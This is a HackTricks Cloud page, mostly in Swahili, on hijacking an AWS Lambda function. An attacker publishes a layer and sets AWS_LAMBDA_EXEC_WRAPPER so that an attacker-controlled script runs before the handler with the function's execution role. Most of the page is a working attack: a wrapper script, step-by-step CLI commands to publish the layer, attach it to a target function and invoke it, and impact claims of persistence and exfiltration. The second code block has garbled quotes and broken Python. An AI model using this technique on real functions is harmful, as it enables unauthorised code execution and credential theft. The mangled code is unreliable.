AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Muhtasari
Tumia vibaya environment variable AWS_LAMBDA_EXEC_WRAPPER ili kutekeleza script ya wrapper inayodhibitiwa na mshambuliaji kabla runtime/handler inaanza. Toa wrapper kupitia Lambda Layer kwenye /opt/bin/htwrap, weka AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, kisha uitishe function. Wrapper inaendesha ndani ya mchakato wa runtime wa function, inarithi role ya utekelezaji ya function, na hatimaye hufanya exec ya runtime halisi ili handler ya asili bado ifanye kazi kawaida.
Warning
Mbinu hii inatoa utekelezaji wa code katika Lambda lengwa bila kubadilisha msimbo wa chanzo au role na bila kuhitaji
iam:PassRole. Unahitaji tu uwezo wa kusasisha function configuration na kuchapisha/kuambatisha layer.
Idhini Zinazohitajika (mshambuliaji)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(or trigger via existing event)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(same account) and optionallylambda:AddLayerVersionPermissionif using a cross-account/public layer
Wrapper Script
Weka wrapper kwenye /opt/bin/htwrap ndani ya layer. Inaweza kuendesha mantiki ya kabla ya handler na lazima itamalize na exec "$@" ili kuunganisha na runtime halisi.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Hatua za Shambulio (CLI)
Chapisha layer, ambatisha kwa function lengwa, weka wrapper, itisha
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<âWRAPâ #!/bin/bash set -euo pipefail echo â[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGIONâ python3 - <<âPYâ import boto3, json print(â[ht] sts identity:â, import(âjsonâ).dumps(import(âboto3â).client(âstsâ).get_caller_identity())) PY exec â$@â WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
âlayer-name ht-exec-wrapper
âzip-file fileb://htwrap-layer.zip
âcompatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
âquery LayerVersionArn âoutput text âregion â$REGIONâ)
echo â$LAYER_ARNâ
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
âfunction-name â$TARGET_FNâ
âlayers â$LAYER_ARNâ
âenvironment âVariables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}â
âregion â$REGIONâ
Wait for update to finish
until [ â$(aws lambda get-function-configuration âfunction-name â$TARGET_FNâ âquery LastUpdateStatus âoutput text âregion â$REGIONâ)â = âSuccessfulâ ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke âfunction-name â$TARGET_FNâ /tmp/out.json âregion â$REGIONâ >/dev/null aws logs filter-log-events âlog-group-name â/aws/lambda/$TARGET_FNâ âlimit 50 âregion â$REGIONâ âquery âevents[].messageâ âoutput text
</details>
## Impact
- Utekelezaji wa msimbo kabla ya handler katika muktadha wa Lambda runtime kwa kutumia execution role ya function iliyopo.
- Hakuna mabadiliko yanayohitajika kwa code ya function au role; inafanya kazi katika managed runtimes za kawaida (Python, Node.js, Java, .NET).
- Inaruhusu persistence, credential access (mfano, STS), data exfiltration, na runtime tampering kabla handler inapoanza.
> [!TIP]
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** đŹ [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>
HackTricks Cloud

